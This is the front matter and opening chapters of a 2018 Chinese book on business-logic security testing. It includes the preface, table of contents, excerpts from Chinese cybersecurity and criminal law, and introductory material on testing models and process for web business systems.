字数：292千字\n版次：2018年3月第1版\n印次：2018年3月第1次印刷\n定价：69.00元\n凡所购买电子工业出版社图书有缺损问题，请向购买书店调换。若书店售缺，请与本\n社发行部联系，联系及邮购电话：（010）88254888，88258888。\n质量投诉请发邮件至zlts@phei.com.cn，盗版侵权举报请发邮件至dbqq@phei.com.cn。\n本书咨询联系方式：（010）51260888-819，faq@phei.com.cn。\n前言\n“没有网络安全就没有国家安全”。当前，网络安全已被提升到国家战略的高度，成为\n影响国家安全、社会稳定至关重要的因素之一。\n由于Web 2.0的兴起，基于Web环境的互联网应用越来越广泛，也让Web应用的安全\n技术日趋成熟。目前互联网上接连爆发的应用安全漏洞，让各大企业的安全人员、运维人\n员、研发及管理人员都不得不重视这一领域，并为之投入了大量的人力和物力。日渐成熟\n的防护产品和解决方案，让Web安全防护的整体环境有了很大的提升。互联网上的网站模\n板，大部分都自带了防SQL注入、跨站脚本等攻击的功能，传统的“工具党”、“小白”已很\n难再通过简单操作几个按钮就成功完成一次Web入侵。\n随着互联网业务的不断发展，互联网上的商务活动也越来越多，所涉及的网络交易也\n越来越频繁，交易的数额也越来越庞大，引发的安全事件也越来越多。而这些安全事件的\n攻击者更倾向于利用业务逻辑层的安全漏洞，如互联网上曝光的“1元购买特斯拉”、“微信\n无限刷红包”、“支付宝熟人可重置登录密码”等业务安全层面的漏洞。基于传统的渗透测\n试方法很难发现这些业务逻辑层面的问题，这类问题往往又危害巨大，可能造成企业的资\n产损失和名誉受损，并且传统的安全防御设备和措施对业务安全漏洞防护收效甚微。\n业务安全问题在互联网上也时有报道，不算新生事物，但目前缺乏一套体系化的介绍\n这门技术的书籍。我们通过多年的不同行业的安全服务经验积累了大量的业务安全方面的\n经验，于是萌生了编写这本书的想法，把我们所有沉淀的业务安全测试经验分享给爱好网\n络安全事业的白帽子们，让大家一起成长，共同为国家网络安全事业贡献绵薄之力。\n本书的撰写者均为轩辕攻防实验室白帽子，这些白帽子具备多年的业务安全测试经\n验，同时他们在国家信息安全漏洞共享平台（CNVD）报送过很多原创漏洞（2016年轩辕\n攻防实验室报送原创漏洞排名第二）。这些白帽子平时低调做人、高调做事，听说要编写\n这本书时，大家群情激奋，热烈响应，牺牲了很多的个人休息时间，经过了近一年的努力\n才总结完成了全面的、详细的可以适用于不同行业和不同业务系统的业务安全测试理论、\n工具、方法及案例。在此也感谢所有参与撰写本书的这些默默无闻，不求名、不逐利、默\n默分享的白帽子。在编写本书的过程中，我们也在互联网上发现了很多关于业务安全方面\n的经典案例，并选取了几个非常不错且比较典型的案例，经过我们整理总结后分享给各位\n读者，有的案例原作者已经联系上了，有个别的也无从联系了，在此也对分享这些经典案\n例且默默在互联网上耕耘和贡献的白帽子表示衷心的感谢和发自内心的致敬。\n在内容甄选时，抛开了一些纯理论的内容，书中选取的场景案例多是作者在工作中实\n际遇到的问题加以改造的，目的是让读者通过对本书的学习，掌握实用的业务安全测试技\n术，协助企业规避业务安全层面的安全风险。\n本书共15章，包括理论篇、技术篇和实践篇。理论篇开篇首先介绍从事网络安全工作\n涉及的相关法律法规，请大家一定要做一个遵纪守法的白帽子，然后介绍业务安全引发的\n一些安全问题和业务安全测试相关的方法论及怎么去学好业务安全。技术篇和实践篇选取\n的内容都是这些白帽子多年在电商、金融、证券、保险、游戏、社交、招聘、O2O 等不\n同行业、不同的业务系统存在的各种类型业务逻辑漏洞进行安全测试总结而成的，能够帮\n助读者理解不同行业的业务系统涉及的业务安全漏洞的特点。具体来说，技术篇主要介绍\n登录认证模块测试、业务办理模块测试、业务授权访问模块测试、输入/输出模块测试、\n回退模块测试、验证码机制测试、业务数据安全测试、业务流程乱序测试、密码找回模块\n测试、业务接口模块调用测试等内容。实践篇主要针对技术篇中的测试方法进行相关典型\n案例的测试总结，包括账号安全案例总结、密码找回案例总结、越权访问案例、OAuth 2.0案例总结、在线支付安全案例总结等。\n通过对本书的学习读者可以很好地掌握业务安全层面的安全测试技术，并且可以协助\n企业规避业务安全层面的安全风险。本书比较适合作为企业专职安全人员、研发人员、普\n通高等院校网络空间安全学科的教学用书和参考书，以及作为网络安全爱好者的自学用\n书。\n由于水平有限，书中难免有不妥之处，加之网络攻防技术纵深宽广，发展迅速，在内\n容取舍和编排上难免考虑不周全，诚请读者批评指正。\n参与本书编写的还有：卜宁琳、袁淏森、刘书、陈亮亮、程利明、黄泽超、吉驰、闫\n石坚、杨志学、张冠廷、张瑜龙、陈明、陈延飞、杨梦端。\n轩辕攻防实验室负责人 张作峰\n2018年01月 于北京\n轻松注册成为博文视点社区用户（www.broadview.com.cn），扫码直达本书页面。\n· 提交勘误：您对书中内容的修改意见可在 提交勘误 处提交，若被采纳，将获赠博\n文视点社区积分（在您购买电子书时，积分可用来抵扣相应金额）。\n· 交流互动：在页面下方 读者评论 处留下您的疑问或观点，与我们和其他读者一同\n学习交流。\n页面入口：http：//www.broadview.com.cn/33581\n致谢\n在出版之际，对关心和支持我们的所有朋友表示衷心的感谢。\n感谢恒安嘉新（北京）科技股份公司金红董事长对编写工作的支持。\n感谢中国联合网络通信有限公司信息化部林海对本书的审核和指导。\n感谢国家互联网应急中心网络安全处主任严寒冰、公安部第三研究所主任徐凯、中国\n信息安全测评中心系统评估处任望、威客安全CEO陈新龙、Joinsec创始人余弦、360补天\n漏洞响应平台负责人白健、漏洞盒子创始人袁劲松的推荐语，他们是业界的标杆和大家学\n习的楷模。\n感谢一直给予我们帮助和鼓励的同事和朋友们，他们包括但不限于：吕雪梅、刘晓\n蔚、刘宏杰、王小华、王幼平、赵岳磊、王兆龙、郭铁城、毛华均、胡付博、刘新鹏、金\n健杨等。\n最后感谢互联网上默默耕耘的白帽子刘欢、horseluke、only_guest、px1624、汉时明\n月、牛奶坦克、猪哥靓、savior、0x 80、Rocky.Tian等业内人士对安全攻防技术的分享。\n目录\n前言\n致谢\n理论篇\n第1章 网络安全法律法规\n第2章 业务安全引发的思考\n2.1 行业安全问题的思考\n2.2 如何更好地学习业务安全\n第3章 业务安全测试理论\n3.1 业务安全测试概述\n3.2 业务安全测试模型\n3.3 业务安全测试流程\n3.4 业务安全测试参考标准\n3.5 业务安全测试要点\n技术篇\n第4章 登录认证模块测试\n4.1 暴力破解测试\n4.1.1 测试原理和方法\n4.1.2 测试过程\n4.1.3 修复建议\n4.2 本地加密传输测试\n4.2.1 测试原理和方法\n4.2.2 测试过程\n4.2.3 修复建议\n4.3 Session测试\n4.3.1 Session会话固定测试\n4.3.2 Seesion会话注销测试\n4.3.3 Seesion会话超时时间测试\n4.4 Cookie仿冒测试\n4.4.1 测试原理和方法\n4.4.2 测试过程\n4.4.3 修复建议\n4.5 密文比对认证测试\n4.5.1 测试原理和方法\n4.5.2 测试过程\n4.5.3 修复建议\n4.6 登录失败信息测试\n4.6.1 测试原理和方法\n4.6.2 测试过程\n4.6.3 修复建议\n第5章 业务办理模块测试\n5.1 订单ID篡改测试\n5.1.1 测试原理和方法\n5.1.2 测试过程\n5.1.3 修复建议\n5.2 手机号码篡改测试\n5.2.1 测试原理和方法\n5.2.2 测试过程\n5.2.3 修复建议\n5.3 用户ID篡改测试\n5.3.1 测试原理和方法\n5.3.2 测试过程\n5.3.3 修复建议\n5.4 邮箱和用户篡改测试\n5.4.1 测试原理和方法\n5.4.2 测试过程\n5.4.3 修复建议\n5.5 商品编号篡改测试\n5.5.1 测试原理和方法\n5.5.2 测试过程\n5.5.3 修复建议\n5.6 竞争条件测试\n5.6.1 测试原理和方法\n5.6.2 测试过程\n5.6.3 修复建议\n第6章 业务授权访问模块\n6.1 非授权访问测试\n6.1.1 测试原理和方法\n6.1.2 测试过程\n6.1.3 修复建议\n6.2 越权测试\n6.2.1 测试原理和方法\n6.2.2 测试过程\n6.2.3 修复建议\n第7章 输入/输出模块测试\n7.1 SQL注入测试\n7.1.1 测试原理和方法\n7.1.2 测试过程\n7.1.3 修复建议\n7.2 XSS测试\n7.2.1 测试原理和方法\n7.2.2 测试过程\n7.2.3 修复建议\n7.3 命令执行测试\n7.3.1 测试原理和方法\n7.3.2 测试过程\n7.3.3 修复建议\n第8章 回退模块测试\n8.1 回退测试\n8.1.1 测试原理和方法\n8.1.2 测试过程\n8.1.3 修复建议\n第9章 验证码机制测试\n9.1 验证码暴力破解测试\n9.1.1 测试原理和方法\n9.1.2 测试过程\n9.1.3 修复建议\n9.2 验证码重复使用测试\n9.2.1 测试原理和方法\n9.2.2 测试过程\n9.2.3 修复建议\n9.3 验证码客户端回显测试\n9.3.1 测试原理和方法\n9.3.2 测试过程\n9.3.3 修复建议\n9.4 验证码绕过测试\n9.4.1 测试原理和方法\n9.4.2 测试过程\n9.4.3 修复建议\n9.5 验证码自动识别测试\n9.5.1 测试原理和方法\n9.5.2 测试过程\n9.5.3 修复建议\n第10章 业务数据安全测试\n10.1 商品支付金额篡改测试\n10.1.1 测试原理和方法\n10.1.2 测试过程\n10.1.3 修复建议\n10.2 商品订购数量篡改测试\n10.2.1 测试原理和方法\n10.2.2 测试过程\n10.2.3 修复建议\n10.3 前端JS限制绕过测试\n10.3.1 测试原理和方法\n10.3.2 测试过程\n10.3.3 修复建议\n10.4 请求重放测试\n10.4.1 测试原理和方法\n10.4.2 测试过程\n10.4.3 修复建议\n10.5 业务上限测试\n10.5.1 测试原理和方法\n10.5.2 测试过程\n10.5.3 修复建议\n第11章 业务流程乱序测试\n11.1 业务流程绕过测试\n11.1.1 测试原理和方法\n11.1.2 测试过程\n11.1.3 修复建议\n第12章 密码找回模块测试\n12.1 验证码客户端回显测试\n12.1.1 测试原理和方法\n12.1.2 测试流程\n12.1.3 修复建议\n12.2 验证码暴力破解测试\n12.2.1 测试原理和方法\n12.2.2 测试流程\n12.2.3 修复建议\n12.3 接口参数账号修改测试\n12.3.1 测试原理和方法\n12.3.2 测试流程\n12.3.3 修复建议\n12.4 Response状态值修改测试\n12.4.1 测试原理和方法\n12.4.2 测试流程\n12.4.3 修复建议\n12.5 Session覆盖测试\n12.5.1 测试原理和方法\n12.5.2 测试流程\n12.5.3 修复建议\n12.6 弱Token设计缺陷测试\n12.6.1 测试原理和方法\n12.6.2 测试流程\n12.6.3 修复建议\n12.7 密码找回流程绕过测试\n12.7.1 测试原理和方法\n12.7.2 测试流程\n12.7.3 修复建议\n第13章 业务接口调用模块测试\n13.1 接口调用重放测试\n13.1.1 测试原理和方法\n13.1.2 测试过程\n13.1.3 修复建议\n13.2 接口调用遍历测试\n13.2.1 测试原理和方法\n13.2.2 测试过程\n13.2.3 修复建议\n13.3 接口调用参数篡改测试\n13.3.1 测试原理和方法\n13.3.2 测试过程\n13.3.3 修复建议\n13.4 接口未授权访问/调用测试\n13.4.1 测试原理和方法\n13.4.2 测试过程\n13.4.3 修复建议\n13.5 Callback自定义测试\n13.5.1 测试原理和方法\n13.5.2 测试过程\n13.5.3 修复建议\n13.6 WebService测试\n13.6.1 测试原理和方法\n13.6.2 测试过程\n13.6.3 修复建议\n实践篇\n第14章 账号安全案例总结\n14.1 账号安全归纳\n14.2 账号安全相关案例\n14.1.1 账号密码直接暴露在互联网上\n14.1.2 无限制登录任意账号\n14.1.3 电子邮件账号泄露事件\n14.1.4 中间人攻击\n14.1.5 撞库攻击\n14.3 防范账号泄露的相关手段\n第15章 密码找回安全案例总结\n15.1 密码找回凭证可被暴力破解\n15.1.1 某社交软件任意密码修改案例\n15.2 密码找回凭证直接返回给客户端\n15.2.1 密码找回凭证暴露在请求链接中\n15.2.2 加密验证字符串返回给客户端\n15.2.3 网页源代码中隐藏着密保答案\n15.2.4 短信验证码返回给客户端\n15.3 密码重置链接存在弱Token\n15.3.1 使用时间戳的md5作为密码重置Token\n15.3.2 使用服务器时间作为密码重置Token\n15.4 密码重置凭证与用户账户关联不严\n15.4.1 使用短信验证码找回密码\n15.4.2 使用邮箱Token找回密码\n15.5 重新绑定用户手机或邮箱\n15.5.1 重新绑定用户手机\n15.5.2 重新绑定用户邮箱\n15.6 服务端验证逻辑缺陷\n15.6.1 删除参数绕过验证\n15.6.2 邮箱地址可被操控\n15.6.3 身份验证步骤可被绕过\n15.7 在本地验证服务端的返回信息——修改返回包绕过验证\n15.8 注册覆盖——已存在用户可被重复注册\n15.9 Session覆盖——某电商网站可通过Session覆盖方式重置他人密码\n15.10 防范密码找回漏洞的相关手段\n第16章 越权访问安全案例总结\n16.1 平行越权\n16.1.1 某高校教务系统用户可越权查看其他用户个人信息\n16.1.2 某电商网站用户可越权查看或修改其他用户信息\n16.1.3 某手机APP普通用户可越权查看其他用户个人信息\n16.2 纵向越权\n16.2.1 某办公系统普通用户权限越权提升为系统权限\n16.2.2 某中学网站管理后台可越权添加管理员账号\n16.2.3 某智能机顶盒低权限用户可越权修改超级管理员配置信息\n16.2.4 某Web防火墙通过修改用户对应菜单类别可提升权限\n16.3 防范越权访问漏洞的相关手段\n第17章 OAuth 2.0安全案例总结\n17.1 OAuth2.0认证原理\n17.2 OAuth2.0漏洞总结\n17.2.1 某社交网站CSRF漏洞导致绑定劫持\n17.2.2 某社区劫持授权\n17.3 防范OAuth2.0漏洞的相关手段\n第18章 在线支付安全案例总结\n18.1 某快餐连锁店官网订单金额篡改\n18.2 某网上商城订单数量篡改\n18.3 某服务器供应商平台订单请求重放测试\n18.4 某培训机构官网订单其他参数干扰测试\n18.5 防范在线支付漏洞的相关手段\n网址 http://www.broadview.com.cn/33581\n理论篇\n第1章 网络安全法律法规\n本书编写的初衷是为了增强企业的网络安全防护意识，提升网络安全从业者和相关人\n士的专业技能水平。本书中讨论的内容仅限于研究和学习，严禁用于任何危害网络安全的\n非法活动。《中华人民共和国网络安全法》于2017年6月1日起正式施行，作为我国网络领\n域的基础性法律，不仅从法律上保障了广大人民群众在网络空间的利益，有效维护了国家\n网络空间主权和安全，同时将严惩破坏我国网络空间的组织和个人。\n下面摘录一些网络安全相关法律法规。\n中华人民共和国网络安全法\n第十二条\n国家保护公民、法人和其他组织依法使用网络的权利，促进网络接入普及，提升网络\n服务水平，为社会提供安全、便利的网络服务，保障网络信息依法有序自由流动。\n任何个人和组织使用网络应当遵守宪法法律，遵守公共秩序，尊重社会公德，不得危\n害网络安全，不得利用网络从事危害国家安全、荣誉和利益，煽动颠覆国家政权、推翻社\n会主义制度，煽动分裂国家、破坏国家统一，宣扬恐怖主义、极端主义，宣扬民族仇恨、\n民族歧视，传播暴力、淫秽色情信息，编造、传播虚假信息扰乱经济秩序和社会秩序，以\n及侵害他人名誉、隐私、知识产权和其他合法权益等活动。\n第二十七条\n任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据\n等危害网络安全的活动；不得提供专门用于从事侵入网络、干扰网络正常功能及防护措\n施、窃取网络数据等危害网络安全活动的程序、工具；明知他人从事危害网络安全活动\n的，不得为其提供技术支持、广告推广、支付结算等帮助。\n第四十四条\n任何个人和组织不得窃取或者以其他非法方式获取个人信息，不得非法出售或者非法\n向他人提供个人信息。\n第四十六条\n任何个人和组织应当对其使用网络的行为负责，不得设立用于实施诈骗，传授犯罪方\n法，制作或者销售违禁物品、管制物品等违法犯罪活动的网站、通信群组，不得利用网络\n发布涉及实施诈骗，制作或者销售违禁物品、管制物品以及其他违法犯罪活动的信息。\n第四十八条\n任何个人和组织发送的电子信息、提供的应用软件，不得设置恶意程序，不得含有法\n律、行政法规禁止发布或者传输的信息。\n电子信息发送服务提供者和应用软件下载服务提供者，应当履行安全管理义务，知道\n其用户有前款规定行为的，应当停止提供服务，采取消除等处置措施，保存有关记录，并\n向有关主管部门报告。\n第六十条\n违反本法第二十二条第一款、第二款和第四十八条第一款规定，有下列行为之一的，\n由有关主管部门责令改正，给予警告；拒不改正或者导致危害网络安全等后果的，处五万\n元以上五十万元以下罚款，对直接负责的主管人员处一万元以上十万元以下罚款：\n（一）设置恶意程序的；\n（二）对其产品、服务存在的安全缺陷、漏洞等风险未立即采取补救措施，或者未按\n照规定及时告知用户并向有关主管部门报告的；\n（三）擅自终止为其产品、服务提供安全维护的。\n第六十三条\n违反本法第二十七条规定，从事危害网络安全的活动，或者提供专门用于从事危害网\n络安全活动的程序、工具，或者为他人从事危害网络安全的活动提供技术支持、广告推\n广、支付结算等帮助，尚不构成犯罪的，由公安机关没收违法所得，处五日以下拘留，可\n以并处五万元以上五十万元以下罚款；情节较重的，处五日以上十五日以下拘留，可以并\n处十万元以上一百万元以下罚款。\n单位有前款行为的，由公安机关没收违法所得，处十万元以上一百万元以下罚款，并\n对直接负责的主管人员和其他直接责任人员依照前款规定处罚。\n违反本法第二十七条规定，受到治安管理处罚的人员，五年内不得从事网络安全管理\n和网络运营关键岗位的工作；受到刑事处罚的人员，终身不得从事网络安全管理和网络运\n营关键岗位的工作。\n第六十四条\n违反本法第四十四条规定，窃取或者以其他非法方式获取、非法出售或者非法向他人\n提供个人信息，尚不构成犯罪的，由公安机关没收违法所得，并处违法所得一倍以上十倍\n以下罚款，没有违法所得的，处一百万元以下罚款。\n第六十七条\n违反本法第四十六条规定，设立用于实施违法犯罪活动的网站、通信群组，或者利用\n网络发布涉及实施违法犯罪活动的信息，尚不构成犯罪的，由公安机关处五日以下拘留，\n可以并处一万元以上十万元以下罚款；情节较重的，处五日以上十五日以下拘留，可以并\n处五万元以上五十万元以下罚款。关闭用于实施违法犯罪活动的网站、通信群组。\n单位有前款行为的，由公安机关处十万元以上五十万元以下罚款，并对直接负责的主\n管人员和其他直接责任人员依照前款规定处罚。\n中华人民共和国刑法\n第二百八十五条\n违反国家规定，侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的，\n处三年以下有期徒刑或者拘役。\n违反国家规定，侵入前款规定以外的计算机信息系统或者采用其他技术手段，获取该\n计算机信息系统中存储、处理或者传输的数据，或者对该计算机信息系统实施非法控制，\n情节严重的，处三年以下有期徒刑或者拘役，并处或者单处罚金；情节特别严重的，处三\n年以上七年以下有期徒刑，并处罚金。\n提供专门用于侵入、非法控制计算机信息系统的程序、工具，或者明知他人实施侵\n入、非法控制计算机信息系统的违法犯罪行为而为其提供程序、工具，情节严重的，依照\n前款的规定处罚。\n单位犯前三款罪的，对单位判处罚金，并对其直接负责的主管人员和其他直接责任人\n员，依照各该款的规定处罚。\n第二百八十六条\n违反国家规定，对计算机信息系统功能进行删除、修改、增加、干扰，造成计算机信\n息系统不能正常运行，后果严重的，处五年以下有期徒刑或者拘役；后果特别严重的，处\n五年以上有期徒刑。\n违反国家规定，对计算机信息系统中存储、处理或者传输的数据和应用程序进行删\n除、修改、增加的操作，后果严重的，依照前款的规定处罚。\n故意制作、传播计算机病毒等破坏性程序，影响计算机系统正常运行，后果严重的，\n依照第一款的规定处罚。\n单位犯前三款罪的，对单位判处罚金，并对其直接负责的主管人员和其他直接责任人\n员，依照第一款的规定处罚。\n第二百八十六条之一\n网络服务提供者不履行法律、行政法规规定的信息网络安全管理义务，经监管部门责\n令采取改正措施而拒不改正，有下列情形之一的，处三年以下有期徒刑、拘役或者管制，\n并处或者单处罚金：\n（一）致使违法信息大量传播的；\n（二）致使用户信息泄露，造成严重后果的；\n（三）致使刑事案件证据灭失，情节严重的；\n（四）有其他严重情节的。\n单位犯前款罪的，对单位判处罚金，并对其直接负责的主管人员和其他直接责任人\n员，依照前款的规定处罚。\n有前两款行为，同时构成其他犯罪的，依照处罚较重的规定定罪处罚。\n中华人民共和国刑法修正案（七）\n九、在刑法第二百八十五条中增加两款作为第二款、第三款：“违反国家规定，侵入\n前款规定以外的计算机信息系统或者采用其他技术手段，获取该计算机信息系统中存储、\n处理或者传输的数据，或者对该计算机信息系统实施非法控制，情节严重的，处三年以下\n有期徒刑或者拘役，并处或者单处罚金；情节特别严重的，处三年以上七年以下有期徒\n刑，并处罚金。\n提供专门用于侵入、非法控制计算机信息系统的程序、工具，或者明知他人实施侵\n入、非法控制计算机信息系统的违法犯罪行为而为其提供程序、工具，情节严重的，依照\n前款的规定处罚。\n中华人民共和国刑法修正案（九）\n二十八、在刑法第二百八十六条后增加一条，作为第二百八十六条之一：网络服务提\n供者不履行法律、行政法规规定的信息网络安全管理义务，经监管部门责令采取改正措施\n而拒不改正，有下列情形之一的，处三年以下有期徒刑、拘役或者管制，并处或者单处罚\n金：\n（一）致使违法信息大量传播的；\n（二）致使用户信息泄露，造成严重后果的；\n（三）致使刑事案件证据灭失，情节严重的；\n（四）有其他严重情节的。\n单位犯前款罪的，对单位判处罚金，并对其直接负责的主管人员和其他直接责任人\n员，依照前款的规定处罚。\n有前两款行为，同时构成其他犯罪的，依照处罚较重的规定定罪处罚。\n二十九、在刑法第二百八十七条后增加两条，作为第二百八十七条之一、第二百八十\n七条之二：\n第二百八十七条之一利用信息网络实施下列行为之一，情节严重的，处三年以下有期\n徒刑或者拘役，并处或者单处罚金：\n（一）设立用于实施诈骗、传授犯罪方法、制作或者销售违禁物品、管制物品等违法\n犯罪活动的网站、通信群组的；\n（二）发布有关制作或者销售毒品、枪支、淫秽物品等违禁物品、管制物品或者其他\n违法犯罪信息的；\n（三）为实施诈骗等违法犯罪活动发布信息的。单位犯前款罪的，对单位判处罚金，\n并对其直接负责的主管人员和其他直接责任人员，依照第一款的规定处罚。\n有前两款行为，同时构成其他犯罪的，依照处罚较重的规定定罪处罚。\n第2章 业务安全引发的思考\n2.1 行业安全问题的思考\n近年来，随着信息化技术的迅速发展和全球一体化进程的不断加快，计算机和网络已\n经成为与所有人都息息相关的工具和媒介，个人的工作、生活和娱乐，企业的管理，乃至\n国家的发展和改革都无出其外。信息和互联带来的不仅仅是便利和高效，大量隐私、敏感\n和高价值的信息数据和资产，成为恶意攻击者攻击和威胁的主要目标，从早期以极客为核\n心的黑客黄金年代，到现在利益链驱动的庞大黑色产业，网络安全已经成为任何个人、企\n业、组织和国家所必须面对的重要问题。“网络安全和信息化是事关国家安全和国家发\n展、事关广大人民群众工作生活的重大战略问题，没有网络安全就没有国家安全，没有信\n息化就没有现代化。” \n随着“互联网+”的发展，经济形态不断地发生演变。众多传统行业逐步地融入互联网\n并利用信息通信技术以及互联网平台进行着频繁的商务活动，这些平台（如银行、保险、\n证券、电商、P2P、O2O、游戏、社交、招聘、航空等）由于涉及大量的金钱、个人信\n息、交易等重要隐私数据，成为了黑客攻击的首要目标，而因为开发人员安全意识淡薄\n（只注重实现功能而忽略了在用户使用过程中个人的行为对Web应用程序的业务逻辑功能\n的安全性影响）、开发代码频繁迭代导致这些平台业务逻辑层面的安全风险层出不穷（业\n务逻辑漏洞主要是开发人员业务流程设计的缺陷，不仅限于网络层、系统层、代码层等。\n比如登录验证的绕过、交易中的数据篡改、接口的恶意调用等，都属于业务逻辑漏洞）。\n目前业内基于这些平台的安全风险检测一般都采用常规的渗透测试技术（主要基于owasp top 10），而常规的渗透测试往往忽视这些平台存在的业务逻辑层面风险，业务逻辑风险\n往往危害更大，会造成非常严重的后果。\n为何业务逻辑漏洞会成为黑客的主要攻击目标？\n一方面随着社会及科技的发展，购物、社交、P2P、O2O、游戏、招聘等业务纷纷具\n备了在线支付功能。如电商支付系统保存了用户手机号、姓名、家庭住址，甚至包括支付\n的银行卡号信息、支付密码信息等，这些都是黑客感兴趣的敏感信息。相比SQL注入漏\n洞、XSS漏洞、上传、命令执行等传统应用安全方面的漏洞，现在的攻击者更倾向于利用\n业务逻辑层面存在的安全问题。这类问题往往容易被开发人员忽视，同时又具有很大的危\n害性，例如一些支付类的逻辑漏洞可能使企业遭受巨大的财产损失。传统的安全防护设备\n和措施主要针对应用层面，而对业务逻辑层面的防护则收效甚微。攻击者可以利用程序员\n的设计缺陷进行交易数据篡改、敏感信息盗取、资产的窃取等操作。现在的黑客不再以炫\n耀技能为主要攻击目的，而主要以经济利益为目的，攻击的目的逐渐转变为趋利化。\n另一方面，如今的业务系统对于传统安全漏洞防护的技术和设备越来越成熟，基于传\n统安全漏洞入侵也变得越来越困难，增加了黑客的攻击成本。而业务逻辑漏洞可以逃逸各\n种安全防护，迄今为止没有很好的解决办法。这也是为什么黑客偏好使用业务逻辑漏洞进\n行攻击的一个原因。\n本书中我们将围绕业务场景中可能存在的业务安全问题介绍详细的测试方法。\n2.2 如何更好地学习业务安全\n想要学好业务安全，首先要掌握一套成熟的业务安全测试的方式方法，消化吸收前人\n总结的宝贵经验，开拓自己的安全视野。\n其次需要了解目标平台的业务流程。在进行安全测试前，需要对业务的详细流程进行\n一次全面的梳理。可以先将业务主体划分为几个大模块，再将每个大模块逐个细分为子模\n块。可以从账号体系开始，如用户的注册、登录、密码找回、信息存储等，再到具体的业\n务办理，如商品的搜索、选择、支付、生成订单，以及订单查询和用户评论等。对整个业\n务流程有了一个详细的了解后，再结合前面学到的测试方法，就能更全面地把控业务流程\n的各个步骤可能存在的风险点。\n应结合被测试对象的实际业务情况，从熟悉公司、组织的业务模式、赢利模式来着\n手，通过一定程度地理解被测对象的业务模式，了解信息系统所承载的业务数据流转情\n况，分析出业务对象、渠道，以及各业务系统前、后台业务数据的生成、传输、使用和存\n储方式，再针对不同的业务场景构建相应的业务安全测试模型。\n建议读者尽量自己搭建每个业务场景，在自己搭建业务环境的过程中，可以熟悉业务\n流程和业务类型，对于自己搭建的业务环境会有更深刻的印象。\n通常情况下针对电子商务类业务安全测试模型的构建应着重考虑账户、交易和支付三\n个重要业务相关环节，确保账户体系安全、交易体系安全、支付体系安全以及用户信息存\n储安全。\n在实践层面，推荐使用以下两种测试技巧，以达到事半功倍的效果：\n· \n科学的测试方法。常规的方法有控制变量法、删减法等，如在分析平行权限跨越\n时，需要明白每一次步骤变的是什么，不变的是什么，控制好不同变量的变化，从而筛选\n出影响业务流程的参数。\n· 学会使用思维导图等工具。在面对复杂的系统时，我们需要通过思维导图等工具来\n协助我们理清各个业务模块之间的联系，从而做到有的放矢。\n如果是初学者，建议先熟悉Web安全的基础知识，推荐本书同系列的《Web安全基础\n教程》，该教程详细介绍了Web安全基础、Web安全测试方法、Web常见漏洞、Web 安全\n实战演练、日常安全意识。在熟悉基础安全技能后，再结合本书的案例多进行动手实践，\n毕竟读万卷书，不如行万里路。\n最后，希望在网络安全的道路上与君共勉，砥砺前行！\n第3章 业务安全测试理论\n3.1 业务安全测试概述\n业务安全测试通常是指针对业务运行的软、硬件平台（操作系统、数据库、中间件\n等），业务系统自身（软件或设备）和业务所提供的服务进行安全测试，保护业务系统免\n受安全威胁，以验证业务系统符合安全需求定义和安全标准的过程。本书所涉及的业务安\n全主要是系统自身和所提供服务的安全，即针对业务系统中的业务流程、业务逻辑设计、\n业务权限和业务数据及相关支撑系统及后台管理平台与业务相关的支撑功能、管理流程等\n方面的安全测试，深度挖掘业务安全漏洞，并提供相关整改修复建议，从关注具体业务功\n能的正确呈现、安全运营角度出发，增强用户业务系统的安全性。\n传统安全测试主要依靠基于漏洞类型的自动化扫描检测，辅以人工测试，来发现如\nSQL 注入、XSS、任意文件上传、远程命令执行等传统类型的漏洞，这种方式往往容易忽\n略业务系统的业务流程设计缺陷、业务逻辑、业务数据流转、业务权限、业务数据等方面\n的安全风险。过度依赖基于漏洞的传统安全测试方式脱离了业务系统本身，不与业务数据\n相关联，很难发现业务层面的漏洞，企业很可能因为简单的业务逻辑漏洞而蒙受巨大损\n失。\n3.2 业务安全测试模型\n如图3-1所示，业务安全测试模型要素如下。\n图3-1 业务安全测试模型\n· 前台视角：业务使用者（信息系统受众）可见的业务及系统视图，如平台的用户注\n册、充值、购买、交易、查询等业务。\n· 后台视角：管理用户（信息系统管理、运营人员）可见的业务及系统视图，如平台\n的登录认证、结算、对账等业务。\n· 业务视角：业务使用者（信息系统受众）可见的表现层视图，如 Web 浏览器、手机\n浏览器展现的页面及其他业务系统用户的UI界面。\n· 系统视角：业务使用者（信息系统受众）不可见的系统逻辑层视图。\n为了全面测试客户业务系统，在进行业务安全分析的时候，不能拘泥于以上测试模\n型，在面对不同用户的不同业务的时候，通过深入了解用户业务特点、业务安全需求，应\n切实地根据客户业务系统的架构，从前/后视角、业务视角与支撑系统视角划分测试对\n象，根据实际情况选择白灰盒或黑盒的手段进行业务安全测试。\n*特别提示：\n· \n对于支撑系统的子系统，其调用关系有时不是简单的顺序调用，中间可能涉及重\n复、乱序调用的情况，需要具体系统具体分析。\n· 对于前台的业务视角，在做白盒测试前，应通过用户访谈切实了解其每一个业务模\n块调用了哪些支撑系统模块，熟悉其调用顺序。\n· 对于前台的业务视角，以手动用例测试结合安全分析工具为主。对于能够提供使用\n环境的管理后台业务视角，以手动用例测试结合安全分析工具为主，不能提供使用环境的\n管理后台业务视角测试以访谈为主。对于支撑系统视角的测试，以访谈为主。\n3.3 业务安全测试流程\n业务安全测试流程总体上分为七个阶段，前期工作主要以测试准备和业务调研为主，\n通过收集并参考业务系统相关设计文档和实际操作，与相关开发人员沟通、调研等方式熟\n悉了解被测系统业务内容和流程，然后在前期工作的基础上，根据业务类型进行业务场景\n建模，并把重要业务系统功能拆分成待测试的业务模块，进而对重要业务功能的各个业务\n模块进行业务流程梳理，之后对梳理后的业务关键点进行风险识别工作，这也是业务测试\n安全最重要的关键环节，最终根据风险点设计相应的测试用例，开展测试工作并最终输出\n测试报告。具体业务安全测试流程如图3-2所示。\n图3-2 